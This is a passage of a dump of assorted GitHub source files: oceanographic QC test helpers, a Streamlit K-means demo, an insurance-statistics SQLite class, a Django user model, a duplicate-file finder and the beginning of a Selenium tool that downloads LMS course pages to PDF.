result))\n","repo_name":"Tigeryang93/text_classification_keras","sub_path":"code/TextRCNN/eval.py","file_name":"eval.py","file_ext":"py","file_size_in_byte":2663,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"60"}
+{"seq_id":"71456199872","text":"from hypothesis import given\nimport hypothesis.strategies as st\n\nimport numpy as np\nfrom numpy import ma\n\nfrom ..data import DummyData\n\ntry:\n    import pandas as pd\n\n    PANDAS_AVAILABLE = True\nexcept ImportError:\n    PANDAS_AVAILABLE = False\n\ntry:\n    import xarray as xr\n\n    XARRAY_AVAILABLE = True\nexcept ImportError:\n    XARRAY_AVAILABLE = False\n\n\ndef compare_feature_tuple(feature, *args, **kwargs):\n    \"\"\"Validate a feature from a tuple\n\n    Compare a feature defined from a numpy.array versus the same\n    feature from a tuple\n    \"\"\"\n    tp_args = [tuple(x) for x in args]\n    tp_kwargs = {}\n    for v in kwargs:\n        tp_kwargs[v] = tuple(kwargs[v])\n\n    y = feature(*args, **kwargs)\n    y2 = feature(*tp_args, **tp_kwargs)\n\n    assert isinstance(y, np.ndarray)\n    assert np.allclose(y, y2, equal_nan=True)\n\n\ndef compare_compound_feature_tuple(feature, data, *args, **kwargs):\n    tp = {}\n    for v in data:\n        tp[v] = tuple(data[v])\n\n    y = feature(data, *args, **kwargs)\n    y2 = feature(tp, *args, **kwargs)\n\n    assert isinstance(y, np.ndarray)\n    assert np.allclose(y, y2, equal_nan=True)\n\n\ndef compare_feature_series(feature, *args, **kwargs):\n    \"\"\"Validate a feature from a pandas.Series\n\n    Compare a feature defined from a numpy.array versus the same\n    feature from a pandas.Series\n    \"\"\"\n    if not PANDAS_AVAILABLE:\n        return\n\n    ds_args = [pd.Series(x) for x in args]\n    ds_kwargs = {}\n    for v in kwargs:\n        ds_kwargs[v] = pd.Series(kwargs[v])\n\n    y = feature(*args, **kwargs)\n    y2 = feature(*ds_args, **ds_kwargs)\n\n    for x, ds in zip(args, ds_args):\n        assert type(x) != type(ds)\n    for x, ds in zip(kwargs, ds_kwargs):\n        assert type(kwargs[x]) != type(ds_kwargs[ds])\n    assert isinstance(y, np.ndarray)\n    assert np.allclose(y, y2, equal_nan=True)\n\n\ndef compare_compound_feature_dataframe(feature, data, *args, **kwargs):\n    if not PANDAS_AVAILABLE:\n        return\n    df = pd.DataFrame(data)\n\n    y = feature(data, *args, **kwargs)\n    y2 = feature(df, *args, **kwargs)\n\n    for v in data:\n        assert type(data[v]) != type(df[v])\n    assert isinstance(y, np.ndarray)\n    assert np.allclose(y, y2, equal_nan=True)\n\n\ndef compare_feature_dataarray(feature, *args, **kwargs):\n    \"\"\"Validate a feature from a xarray.DataArray\n\n    Compare a feature defined from a numpy.array versus the same\n    feature from a xarray.DataArray\n    \"\"\"\n    if not XARRAY_AVAILABLE:\n        return\n\n    da_args = [xr.DataArray(x) for x in args]\n    da_kwargs = {}\n    for v in kwargs:\n        da_kwargs[v] = xr.DataArray(kwargs[v])\n\n    y = feature(*args, **kwargs)\n    y2 = feature(*da_args, **da_kwargs)\n\n    for x, da in zip(args, da_args):\n        assert type(x) != type(da)\n    for x, da in zip(kwargs, da_kwargs):\n        assert type(kwargs[x]) != type(da_kwargs[da])\n    assert isinstance(y, np.ndarray)\n    assert np.allclose(y, y2, equal_nan=True)\n\n\ndef compare_compound_feature_dataset(feature, data, *args, **kwargs):\n    if not XARRAY_AVAILABLE:\n        return\n\n    ds = xr.Dataset({v:(\"N\", data[v]) for v in data})\n\n    y = feature(data, *args, **kwargs)\n    y2 = feature(ds, *args, **kwargs)\n\n\ndef compare_feature_input_types(feature, *args, **kwargs):\n    compare_feature_tuple(feature, *args, **kwargs)\n    compare_feature_series(feature, *args, **kwargs)\n    compare_feature_dataarray(feature, *args, **kwargs)\n\n\ndef compare_compound_feature_input_types(feature, *args, **kwargs):\n    compare_compound_feature_tuple(feature, *args, **kwargs)\n    compare_compound_feature_dataframe(feature, *args, **kwargs)\n    compare_compound_feature_dataset(feature, *args, **kwargs)\n\n\ndef compare_tuple(Procedure, cfg):\n    \"\"\"Validate the results using a tuple\n    \"\"\"\n    profile = DummyData()\n    tp = {}\n    for v in profile.keys():\n        if isinstance(profile[v], ma.MaskedArray) and profile[v].mask.any():\n            profile[v][profile[v].mask] = np.nan\n            profile.data[v] = profile[v].data\n        tp[v] = tuple(profile.data[v])\n\n    y = Procedure(profile, \"TEMP\", cfg)\n    y2 = Procedure(tp, \"TEMP\", cfg, attrs=profile.attrs)\n\n    assert isinstance(y2[\"TEMP\"], tuple), \"It didn't preserve the tuple type\"\n\n    for f in y.features:\n        assert np.allclose(y.features[f], y2.features[f], equal_nan=True)\n        assert y.features[f].dtype == y2.features[f].dtype\n    for f in y.flags:\n        assert type(y.flags[f]) == type(y2.flags[f])\n        assert y.flags[f].dtype == y2.flags[f].dtype\n        assert np.allclose(y.flags[f], y2.flags[f], equal_nan=True)\n\n\ndef compare_pandas(Procedure, cfg):\n    \"\"\"Validate the results using pandas.DataFrame\n    \"\"\"\n    if not PANDAS_AVAILABLE:\n        return\n\n    profile = DummyData()\n    df = pd.DataFrame(profile.data)\n\n    y = Procedure(profile, \"TEMP\", cfg)\n    y2 = Procedure(df, \"TEMP\", cfg)\n\n    for f in y.features:\n        assert np.allclose(y.features[f], y2.features[f], equal_nan=True)\n    for f in y.flags:\n        assert type(y.flags[f]) == type(y2.flags[f])\n        assert y.flags[f].dtype == y2.flags[f].dtype\n        assert np.allclose(y.flags[f], y2.flags[f], equal_nan=True)\n\n\ndef compare_xarray(Procedure, cfg):\n    \"\"\"Validate the results using pandas.DataFrame\n    \"\"\"\n    if not XARRAY_AVAILABLE:\n        return\n\n    profile = DummyData()\n    ds = pd.DataFrame(profile.data).to_xarray()\n\n    y = Procedure(profile, \"TEMP\", cfg)\n    y2 = Procedure(ds, \"TEMP\", cfg)\n\n    for f in y.features:\n        assert np.allclose(y.features[f], y2.features[f], equal_nan=True)\n    for f in y.flags:\n        assert type(y.flags[f]) == type(y2.flags[f])\n        assert y.flags[f].dtype == y2.flags[f].dtype\n        assert np.allclose(y.flags[f], y2.flags[f], equal_nan=True)\n\n\ndef compare_input_types(Procedure, cfg):\n    compare_tuple(Procedure, cfg)\n    compare_pandas(Procedure, cfg)\n    compare_xarray(Procedure, cfg)\n","repo_name":"castelao/CoTeDe","sub_path":"tests/qctests/compare.py","file_name":"compare.py","file_ext":"py","file_size_in_byte":5855,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"60"}
+{"seq_id":"33720060696","text":"#import des librairies l'environnement\nimport streamlit as st\nimport pandas as pd\nimport numpy as np\n#import sklearn.metrics as sm\nimport matplotlib.pyplot as plt\nfrom sklearn.cluster import KMeans\nfrom sklearn import datasets\n\nst.title('Implémentation du clustering des fleurs d’Iris avec l’algorithme K-Means, Python et Scikit Learn')\n\n#chargement de base de données iris\niris = datasets.load_iris()\n\n#affichage des données, vous permet de mieux comprendre le jeu de données (optionnel)\n#print(iris)\n#print(iris.data)\n#print(iris.feature_names)\n#print(iris.target)\n#print(iris.target_names)\n\n#Stocker les données en tant que DataFrame Pandas\nx=pd.DataFrame(iris.data)\n# définir les noms de colonnes\nx.columns=['Sepal_Length','Sepal_width','Petal_Length','Petal_width']\n\nst.dataframe(x)\n\ny=pd.DataFrame(iris.target)\ny.columns=['Targets']\n\n\n#Cluster K-means\nnb_clust = st.slider(\"How many clusters?\",min_value=2,max_value=10,value=2)\nmodel=KMeans(n_clusters=nb_clust)\n#adapter le modèle de données\nmodel.fit(x)\n\nst.write(\"My predicted lables\")\nst.write(model.labels_)\n\ncolormap = np.array((['Red','green','blue','Red','green','blue','Red','green','blue','Red','green','blue']))\n\nfig,ax = plt.subplots()\nplt.scatter(x.Petal_Length,x.Petal_width,c=colormap[y.Targets],s=40)\nplt.scatter(x.Petal_Length,x.Petal_width,c=colormap[model.labels_],s=40)\nst.pyplot(fig)","repo_name":"Yaizlll/uber_pickups","sub_path":"K-mean.py","file_name":"K-mean.py","file_ext":"py","file_size_in_byte":1371,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"27210158543","text":"import sqlite3\nfrom functools import lru_cache\nfrom datetime import date\nimport calendar\n\nfrom date import IDate\n\n\nclass Stats_Base(object):\n    \"\"\"\n    数据统计类\n\n        数据统计中所需要的基础信息在本类中进行初始化\n\n    属性：\n\n        cur:\n            返回一个数据库的游标对象，便于其他属性中操作数据\n        name:\n            返回机构简称\n        risk:\n            返回统计的险种\n        risk_type：\n            返回险种类型\n        company_type：\n            返回机构类型\n        task：\n            返回本年度任务\n        time_progress：\n            返回指定日期的的时间进度\n        company_join：\n            返回查询当前机构所需的SQL语句中的JOIN部分\n        company_where：\n            返回查询当前机构所需的SQL语句中的WHERE部分\n        risk_join：\n            返回查询当前险种所需的SQL语句中的JOIN部分\n        risk_where：\n            返回查询当前险种所需的SQL语句中的WHERE部分\n    \"\"\"\n\n    def __init__(\n        self, name: str = None, risk: str = None, conn: sqlite3.Connection = None\n    ):\n        \"\"\"\n        初始化统计类\n\n            参数\n                name:\n                    str, 机构名称\n                risk：\n                    str, 险种名称，无需设置险种类型，系统将根据险种名称自动判断险种类型\n        \"\"\"\n        self._name = name  # 机构简称\n        self._risk = risk  # 险种\n\n        self._conn = conn\n        self._cur = self._conn.cursor()\n\n        self.d = IDate(2020)\n\n        # 设置该机构对应险种的计划任务\n        self._set_task()\n\n        # 初始化日期列表\n        self._set_day_list()\n\n    @property\n    def name(self) -> str:\n        \"\"\"\n        返回机构名称\n\n            参数：\n                    无\n                返回值：\n                    str\n        \"\"\"\n        return self._name\n\n    @property\n    def risk(self) -> str:\n        \"\"\"\n        返回险种名称\n\n            参数：\n                无\n            返回值：\n                str\n        \"\"\"\n        return self._risk\n\n    @property\n    def cur(self) -> object:\n        \"\"\"\n        返回数据库链接的游标对象\n\n            特别说明：\n                这是一个内部对象，在类的内部使用，请不要在类外部调用\n            参数：\n                无\n            返回值：\n                sqlite3.Cursor\n        \"\"\"\n        return self._cur\n\n    @property\n    def risk_type(self) -> str:\n        \"\"\"\n        根据险种名称判断险种类型，并返回险种类型\n\n            参数：\n                无\n            返回值：\n                str\n        \"\"\"\n        risk_list = [\"车险\", \"财产险\", \"人身险\", \"非车险\"]\n\n        risk_type_list = [\n            \"保证险\",\n            \"船舶险\",\n            \"工程险\",\n            \"货物运输保险\",\n            \"家庭财产保险\",\n            \"农业保险\",\n            \"其他\",\n            \"企业财产保险\",\n            \"特殊风险保险\",\n            \"责任保险\",\n            \"综合保险\",\n            \"交强险\",\n            \"商业保险\",\n            \"健康险\",\n            \"意外伤害保险\",\n        ]\n\n        if self.risk == \"整体\":\n            return \"整体\"\n        elif self.risk in risk_list:\n            return \"险种\"\n        elif self.risk in risk_type_list:\n            return \"险种大类\"\n        else:\n            return \"险种名称\"\n\n    @property\n    def company_type(self) -> str:\n        \"\"\"\n        根据机构名称判断机构类型，并返回机构类型\n\n            参数：\n                无\n            返回值：\n                str\n        \"\"\"\n\n        center_branch_list = [\"昆明\", \"曲靖\", \"文山\", \"大理\", \"保山\", \"版纳\", \"怒江\", \"昭通\"]\n\n        company_list = [\n            \"分公司本部\",\n            \"航旅项目\",\n            \"百大国际\",\n            \"春怡雅苑\",\n            \"香榭丽园\",\n            \"春之城\",\n            \"东川\",\n            \"宜良\",\n            \"安宁\",\n            \"曲靖中支本部\",\n            \"师宗\",\n            \"宣威\",\n            \"陆良\",\n            \"沾益\",\n            \"罗平\",\n            \"会泽\",\n            \"文山中支本部\",\n            \"丘北\",\n            \"马关\",\n            \"广南\",\n            \"麻栗坡\",\n            \"富宁\",\n            \"大理中支本部\",\n            \"砚山\",\n            \"祥云\",\n            \"云龙\",\n            \"宾川\",\n            \"弥渡\",\n            \"漾濞\",\n            \"洱源\",\n            \"版纳中支本部\",\n            \"勐海\",\n            \"勐腊\",\n            \"保山中支本部\",\n            \"施甸\",\n            \"腾冲\",\n            \"怒江中支本部\",\n            \"兰坪\",\n        ]\n\n        if self.name == \"分公司整体\" or self.name == \"分公司\":\n            return \"分公司\"\n        elif self.name in center_branch_list:\n            return \"中心支公司\"\n        elif self.name in company_list:\n            return \"机构\"\n        else:\n            return \"销售团队\"\n\n    @property\n    def task(self) -> int:\n        \"\"\"\n        返回机构的计划任务，如果无任务则返回\"——\"\n\n            参数：\n                无\n            返回值：\n                int, str(\"——\")\n        \"\"\"\n        return self._task\n\n    @lru_cache(maxsize=32)\n    def _set_task(self) -> int:\n        \"\"\"\n        返回机构的计划任务，如果无任务则返回\"——\"\n\n            参数：\n                无\n            返回值：\n                int, str(\"——\")\n        \"\"\"\n        sql_str = f\"SELECT [{self.risk}任务] \\\n            FROM [计划任务] \\\n            WHERE [机构] = '{self.name}'\"\n\n        self.cur.execute(sql_str)\n\n        for value in self.cur.fetchone():\n            if value is None or value == 0:\n                self._task = \"——\"\n            else:\n                self._task = int(value)\n\n    def time_progress(\n        self, year: int = None, month: int = None, day: int = None\n    ) -> float:\n        \"\"\"\n        根据指定日期，返回当前时间的时间进度\n\n            参数：\n                year:\n                    int, 指定需要计算的年份，默认值为数据库中最大的年份\n                month:\n                    int, 指定需要计算的月份，默认值为数据库中最大的月份\n                day:\n                    int, 指定需要计算的日期，默认值为数据库中最大的日期\n            返回值：\n                float\n        \"\"\"\n\n        # 判断是否是闰年\n        if calendar.isleap(int(self.d.year)):\n            num_day_sum = 366\n        else:\n            num_day_sum = 365\n\n        if year is None:\n            year = self.d.year\n\n        if month is None:\n            month = self.d.month\n\n        if day is None:\n            day = self.d.day\n\n        # 获取已经过去的天数\n        past_num_day = date(year, month, day).strftime(\"%j\")\n\n        return int(past_num_day) / num_day_sum\n\n    def company_join(self, year: int) -> str:\n        \"\"\"\n        根据年份（参数year）及机构类型返回SQL语句的join语句中机构名称部分\n\n            特别说明：\n                这是一个类内部调用对象，请不要在类外部调用\n\n            类型：\n                方法\n            参数：\n                year：int值，一个4位数的年份\n            返回值：\n                str，一串SQL语言的join语句\n        \"\"\"\n\n        if self.company_type == \"分公司\":\n            sql_str = \"\"\n        elif self.company_type == \"中心支公司\":\n            sql_str = f\"JOIN [中心支公司] \\\n                       ON [{year}年].[中心支公司] = [中心支公司].[中心支公司]\"\n        elif self.company_type == \"机构\":\n            sql_str = f\"JOIN [机构] \\\n                       ON [{year}年].[机构] = [机构].[机构]\"\n        elif self.company_type == \"销售团队\":\n            sql_str = f\"JOIN [销售团队] \\\n                       ON [{year}年].[销售团队] = [销售团队].[销售团队]\"\n\n        return sql_str\n\n    def company_where(self) -> str:\n        \"\"\"\n        根据机构类型返回SQL语句中的WHERE语句中的机构名称部分\n\n            特别说明：\n                这是一个类的内部对象，请不要在类外部调用\n            类型：\n                属性\n            参数：\n                无\n            返回值：\n                str，一串SQL语言的where语句\n        \"\"\"\n        if self.company_type == \"分公司\":\n            sql_str = \"\"\n        elif self.company_type == \"中心支公司\":\n            sql_str = f\"AND [中心支公司].[中心支公司简称] = '{self.name}'\"\n        elif self.company_type == \"机构\":\n            sql_str = f\"AND [机构].[机构简称] = '{self.name}'\"\n        elif self.company_type == \"销售团队\":\n            sql_str = f\"AND [销售团队].[销售团队简称] = '{self.name}'\"\n\n        return sql_str\n\n    def risk_join(self, year: int) -> str:\n        \"\"\"'\n        根据年份（参数year）及险种类型返回SQL语句的join语句中险种名称部分\n\n            特别说明：\n                这是一个类内部调用对象，请不要在类外部调用\n\n            类型：\n                方法\n            参数：\n                year：int值，一个4位数的年份\n            返回值：\n                str，一串SQL语言的join语句\n        \"\"\"\n\n        if self.risk_type == \"险种名称\":\n            sql_str = f\"JOIN [险种名称] \\\n                       ON [{year}年].[险种名称] = [险种名称].[险种名称]\"\n        else:\n            sql_str = \"\"\n\n        return sql_str\n\n    def risk_where(self, year: int) -> str:\n        \"\"\"\n        根据险种类型返回SQL语句中的WHERE语句中的险种名称部分\n\n            特别说明：\n                这是一个类的内部对象，请不要在类外部调用\n            类型：\n                方法\n            参数：\n                year：int值，一个4位数的年份\n            返回值：\n                str，一串SQL语言的where语句\n        \"\"\"\n\n        if self.risk_type == \"整体\":\n            sql_str = \"\"\n        elif self.risk_type == \"险种\":\n            if self.risk == \"非车险\":\n                sql_str = f\"AND [{year}年].[车险/财产险/人身险] != '车险'\"\n            else:\n                sql_str = f\"AND [{year}年].[车险/财产险/人身险] = '{self.risk}'\"\n        elif self.risk_type == \"险种大类\":\n            sql_str = f\"AND [{year}年].[险种大类] = '{self.risk}'\"\n        elif self.risk_type == \"险种名称\":\n            sql_str = f\"AND [险种名称].[险种简称] = '{self.risk}'\"\n\n        return sql_str\n\n    @property\n    def day_list(self):\n        \"\"\"\n        获取一年中所有的日期\n\n            返回值：list\n        \"\"\"\n\n        return self._day_list\n\n    def _set_day_list(self):\n        \"\"\"\n        获取一年中所有的日期\n\n            返回值：list\n        \"\"\"\n        # 2020年为闰年，可获取到2月29日的日期\n        sql_str = f\"SELECT [日期].[日期] \\\n            FROM [日期] \\\n            WHERE [日期].[年份] = 2020 \\\n            ORDER BY [日期].[日期]\"\n\n        self.cur.execute(sql_str)\n\n        data_list = []\n\n        for keys in self.cur.fetchall():\n            for key in keys:\n                data_list.append(key)\n\n        self._day_list = data_list\n","repo_name":"dxcv/DataStats","sub_path":"stats_base.py","file_name":"stats_base.py","file_ext":"py","file_size_in_byte":11643,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"70004802433","text":"from django.contrib.auth.models import AbstractUser\nfrom django.db import models\n\n\nclass User(AbstractUser):\n\n    ADMIN = 'admin'\n    MODERATOR = 'moderator'\n    USER = 'user'\n    CHOICES = (\n        (USER, 'Пользователь'),\n        (MODERATOR, 'Модератор'),\n        (ADMIN, 'Администратор')\n    )\n\n    username = models.CharField(\n        'Имя пользователя',\n        max_length=150,\n        null=True,\n        unique=True\n    )\n\n    email = models.EmailField(\n        'Адрес электронной почты',\n        max_length=254,\n        unique=True\n    )\n\n    first_name = models.CharField(\n        'Имя',\n        max_length=150,\n        blank=True,\n        default=''\n    )\n\n    last_name = models.CharField(\n        'Фамилия',\n        max_length=150,\n        blank=True,\n        default=''\n    )\n\n    bio = models.TextField(\n        blank=True,\n        default=''\n    )\n\n    role = models.CharField(\n        'Роль',\n        max_length=20,\n        choices=CHOICES,\n        default=USER\n    )\n\n    @property\n    def is_moderator(self):\n        return self.role == self.MODERATOR\n\n    @property\n    def is_admin(self):\n        return self.role == self.ADMIN\n\n    USERNAME_FIELD = 'email'\n    REQUIRED_FIELDS = ['username']\n\n    class Meta:\n        ordering = ('username',)\n        constraints = (\n            models.CheckConstraint(\n                check=~models.Q(username__iexact='me'),\n                name='username_is_not_me'\n            ),\n        )\n\n    def __str__(self) -> str:\n        return 'Пользовтель {} роль {}'.format(\n            self.username,\n            self.role\n        )\n","repo_name":"BogdanOdilov/yamdb_final","sub_path":"api_yamdb/users/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"36346600978","text":"#!/usr/bin/python3 \n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Aug  5 14:24:01 2021\nUsed to find duplicate files in a folder on Linux\n@author: Dahoo\n\"\"\"\n\nimport os\nfrom collections import Counter\n\ndup_list = []\n\ndef listfolder(absPath):\n    '''List all folders in one folder with an absolute path'''\n    dirs = [d for d in os.listdir(absPath) if os.path.isdir(absPath+'/'+d)]\n    return dirs\n    \ndef listfiles(absPath):\n    '''List all files in one folder with an absolute path'''\n    files = [f for f in os.listdir(absPath) if os.path.isfile(absPath+'/'+f)]\n    return files\n    \ndef findDuplicate(filelist):\n    '''Print duplicate File list'''\n    lower_list = [f.lower() for f in filelist]\n    duplicate_list = [item for item, count in Counter(lower_list).items() if count > 1]\n    return duplicate_list\n\ndef listAllFiles(absFolder, temp_rank = 0):\n    '''Process the folder recursively'''\n    dirs = listfolder(absFolder)\n    print(' '*temp_rank*4+\"(Rank \"+str(temp_rank)+\"): \" + absFolder)\n    filelist = listfiles(absFolder)\n    if not dirs:       # means this is a bottom folder\n        #print(' '*temp_rank*4+\"This folder does not have any subfolders. \")\n        if not filelist:\n            print(' '*temp_rank*4+\"Empty folder here!\")\n        else:\n            print(' '*temp_rank*4+\"No subfolders here, so the file list is: \" + ', '.join(filelist))\n            files = findDuplicate(filelist)\n            if files:\n                print(' '*temp_rank*4+'Duplicate Files: '+', '.join(files))\n                global dup_list\n                dup_list.extend([absFolder+'/'+f for f in files])\n        print('')\n        \n    else:\n        if not filelist:\n            print(' '*temp_rank*4+\"Empty folder here!\")\n        else:\n            print(' '*temp_rank*4+\"This folder has files: \" + ', '.join(filelist))\n            files = findDuplicate(filelist)\n            if files:\n                print(' '*temp_rank*4+'Duplicate Files: '+', '.join(files))\n                dup_list.extend([absFolder+'/'+f for f in files])\n        print('')\n\n        print(' '*temp_rank*4+\"This folder has subfolders: [\"+'],['.join(dirs)+']')\n        for d in dirs:\n            listAllFiles(os.path.abspath(absFolder)+'/'+d, temp_rank+1)\n\nif __name__ == \"__main__\":\n    import sys\n    args = len(sys.argv)\n    fw = open(\"duplicatelist.txt\", \"w\")\n    if args == 1:\n        currentAbsPath = os.path.dirname(os.path.abspath(__file__))\n        print('Start from the current folder: '+currentAbsPath)\n        listAllFiles(currentAbsPath)\n        print('Duplicate file list is:\\n'+'\\n'.join(dup_list))\n        fw.write('The current folder: '+currentAbsPath+'\\n')\n        fw.write('\\n'.join(dup_list))\n    elif args > 2:\n        print('Error: too many arguments.')\n        print('Usage: '+sys.argv[0]+' [The relative/absolute path of a folder]')\n    else:\n        print('Current working directory is: '+os.getcwd())\n        print('Processing the folder: ' + sys.argv[1])\n        if os.path.isdir(sys.argv[1]):\n            listAllFiles(sys.argv[1])\n        else:\n            print('The folder does not exist!')\n        print('Duplicate file list is:\\n'+'\\n'.join(dup_list))\n        fw.write('The current folder: '+sys.argv[1]+'\\n')\n        fw.write('Duplicate files are:\\n')\n        fw.write('\\n'.join(dup_list))\n    fw.close()","repo_name":"hejingyuan199/python","sub_path":"findDuplicate.py","file_name":"findDuplicate.py","file_ext":"py","file_size_in_byte":3302,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"29037354425","text":"import base64\nimport json\nimport logging\nimport os\nimport re\nimport tempfile\nimport time\nfrom urllib.parse import urljoin\n\nfrom PIL import Image\nfrom PyPDF2 import PdfReader, PdfMerger\nfrom bs4 import BeautifulSoup\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support import expected_conditions\nfrom selenium.webdriver.support.expected_conditions import presence_of_element_located\nfrom selenium.webdriver.support.wait import WebDriverWait\n\n# Print to PDF settings\nPRINT_SETTINGS = {\n    \"recentDestinations\": [{\n        \"id\": \"Save as PDF\",\n        \"origin\": \"local\",\n        \"account\": \"\",\n    }],\n    \"selectedDestinationId\": \"Save as PDF\",\n    \"version\": 2,\n    \"isHeaderFooterEnabled\": True,\n    \"isLandscapeEnabled\": True\n}\n\n# Content types\nCONTENT_TYPE_SCORM_PRESENTATION = 0\nCONTENT_TYPE_SCORM_BOOK = 1\nCONTENT_TYPE_H5P_PRESENTATION = 2\n\n# Default user agent\nUSER_AGENT_DEFAULT = \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) \" \\\n                     \"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36\"\n\n# Default regex to check link_to_download\nLINK_CHECK_REGEX_DEFAULT = \"^(http|https):\\\\/\\\\/online\\\\.mospolytech\\\\.ru\\\\/mod\\\\/(scorm|hvp)\\\\/view\\\\.php\\\\?id=\"\n\n\nclass LMSDownloader:\n    def __init__(self, lms_login: str, lms_password: str, link_to_download: str,\n                 login_link: str = \"https://online.mospolytech.ru/login/index.php\",\n                 wait_between_pages: float = 1.,\n                 link_check_regex: str = LINK_CHECK_REGEX_DEFAULT,\n                 user_agent: str = USER_AGENT_DEFAULT,\n                 window_size: str = \"960,1080\",\n                 headless: bool = True) -> None:\n        \"\"\"\n        Initializes LMSDownloader class (just copies fields)\n        :param lms_login: LMS account login\n        :param lms_password: LMS account password\n        :param link_to_download: LMS link to download\n        :param login_link: Link to LMS login page\n        :param wait_between_pages: How long to wait after going to next page\n        :param link_check_regex: Regex expression to check link_to_download, replace to \"^\" to bypass link check\n        :param user_agent: Browser's user agent to prevent mobile version\n        :param window_size: Default browser's window size\n        :param headless: Set True to open Chrome in headless mode\n        \"\"\"\n        self._lms_login = lms_login\n        self._lms_password = lms_password\n        self._link_to_download = link_to_download\n        self._login_link = login_link\n        self._wait_between_pages = wait_between_pages\n        self._link_check_regex = link_check_regex\n        self._user_agent = user_agent\n        self._window_size = window_size\n        self._headless = headless\n\n        self.browser = None\n\n    def download(self, save_to_directory: str = \"\") -> list[str]:\n        \"\"\"\n        Downloads pages into PDF (and TXT for SCORM book)\n        :param save_to_directory: Path to the dir where to save downloaded PDF and TXT\n        :return: Paths to downloaded files\n        \"\"\"\n        # Test link using regex\n        logging.info(\"Checking link using regex\")\n        if re.search(self._link_check_regex, self._link_to_download) is None:\n            raise Exception(\"Invalid link to download from! The link must satisfy the expression: {}\"\n                            .format(self._link_check_regex))\n\n        # Start browser and log into LMS\n        self._start_browser()\n        self._login()\n\n        # Open link\n        logging.info(\"Redirecting to {}\".format(self._link_to_download))\n        self.browser.get(self._link_to_download)\n\n        # Enter button\n        enter_btn_xpath = \"//input[@class='btn btn-primary'][@type='submit']\"\n\n        # Wait for page to load\n        logging.info(\"Waiting for page to load\")\n        WebDriverWait(self.browser, 60).until(expected_conditions.any_of(\n            presence_of_element_located((By.XPATH, enter_btn_xpath)),\n            presence_of_element_located((By.ID, \"scorm_object\")),\n            presence_of_element_located((By.CLASS_NAME, \"h5p-iframe\"))))\n\n        # Click button if needed to enter the page\n        enter_buttons = self.browser.find_elements(By.XPATH, enter_btn_xpath)\n        for enter_button in enter_buttons:\n            enter_button.click()\n\n        # Wait for page to load again\n        WebDriverWait(self.browser, 60).until(expected_conditions.any_of(\n            presence_of_element_located((By.XPATH, enter_btn_xpath)),\n            presence_of_element_located((By.ID, \"scorm_object\")),\n            presence_of_element_located((By.CLASS_NAME, \"h5p-iframe\"))))\n\n        # SCORM\n        if self.browser.find_elements(By.ID, \"scorm_object\"):\n            logging.info(\"Switching to the iframe\")\n            iframe_src = self.browser.find_element(By.ID, \"scorm_object\").get_attribute(\"src\")\n            if iframe_src.lower().startswith(\"http\"):\n                self.browser.get(iframe_src)\n            else:\n                self.browser.get(urljoin(self._link_to_download, iframe_src))\n\n            # Wait until loaded\n            WebDriverWait(self.browser, 60).until(expected_conditions.any_of(\n                presence_of_element_located((By.ID, \"playerView\")),\n                presence_of_element_located((By.XPATH, \"//div[@class='viewer bookViewer']\")),\n                presence_of_element_located((By.XPATH, \"//div[@class='viewer pageViewer']\"))))\n            logging.info(\"Subject page opened\")\n            time.sleep(1)\n\n            # Check for No button\n            message_box_buttons = self.browser.find_elements(By.CLASS_NAME, \"message-box-buttons-panel__window-button\")\n            if message_box_buttons:\n                logging.info(\"Clicking {} button\".format(message_box_buttons[-1].text))\n                message_box_buttons[-1].click()\n\n            # Wait\n            logging.info(\"Waiting 10s for loading\")\n            time.sleep(10)\n            logging.info(\"Subject page loaded successfully\")\n\n            # Handle book mode\n            book_btn_xpath = \"//button[@class='btn']/div[@class='icon viewMode book']\"\n            book_btn = self.browser.find_elements(By.XPATH, book_btn_xpath)\n            if book_btn:\n                book_btn_ = book_btn[0].find_elements(By.XPATH, \"./..\")\n                if book_btn_:\n                    logging.info(\"Fixing book mode\")\n                    book_btn_[0].click()\n                    time.sleep(1)\n\n        # H5P\n        elif self.browser.find_elements(By.CLASS_NAME, \"h5p-iframe\"):\n            # Open iframe's src\n            logging.info(\"Switching to the iframe\")\n            self.browser.switch_to.frame(self.browser.find_element(By.CLASS_NAME, \"h5p-iframe\"))\n\n            # Wait until loaded\n            WebDriverWait(self.browser, 60).until(presence_of_element_located((By.CLASS_NAME, \"h5p-wrapper\")))\n            logging.info(\"Subject page opened. Waiting 1 second\")\n            time.sleep(1)\n\n            # Go to the first page\n            logging.info(\"Going to the first page\")\n            previous_slide_btn_xpath = \"//div[@class='h5p-footer-button h5p-footer-previous-slide']\"\n            previous_slide_btn = self.browser.find_element(By.XPATH, previous_slide_btn_xpath)\n            while previous_slide_btn.get_attribute(\"aria-disabled\") == \"false\":\n                previous_slide_btn.click()\n                previous_slide_btn = self.browser.find_element(By.XPATH, previous_slide_btn_xpath)\n                time.sleep(self._wait_between_pages)\n\n        # Something else\n        else:\n            raise ValueError(\"Wrong content type! Unsupported link\")\n\n        # Determine content type\n        if self.browser.find_elements(By.ID, \"playerView\"):\n            logging.info(\"Detected content type as SCORM presentation\")\n            content_type = CONTENT_TYPE_SCORM_PRESENTATION\n        elif self.browser.find_elements(By.XPATH, \"//div[@class='viewer pageViewer']\"):\n            logging.info(\"Detected content type as SCORM book\")\n            content_type = CONTENT_TYPE_SCORM_BOOK\n        elif self.browser.find_elements(By.CLASS_NAME, \"h5p-iframe\"):\n            logging.info(\"Detected content type as H5P presentation\")\n            content_type = CONTENT_TYPE_H5P_PRESENTATION\n        else:\n            raise ValueError(\"Wrong content type! Unsupported link\")\n\n        # Create directory for downloads\n        temp_dir = tempfile.TemporaryDirectory()\n        logging.info(\"Downloading into {}\".format(temp_dir.name))\n\n        # Disable landscape for SCORM book\n        print_settings = PRINT_SETTINGS.copy()\n        if content_type == 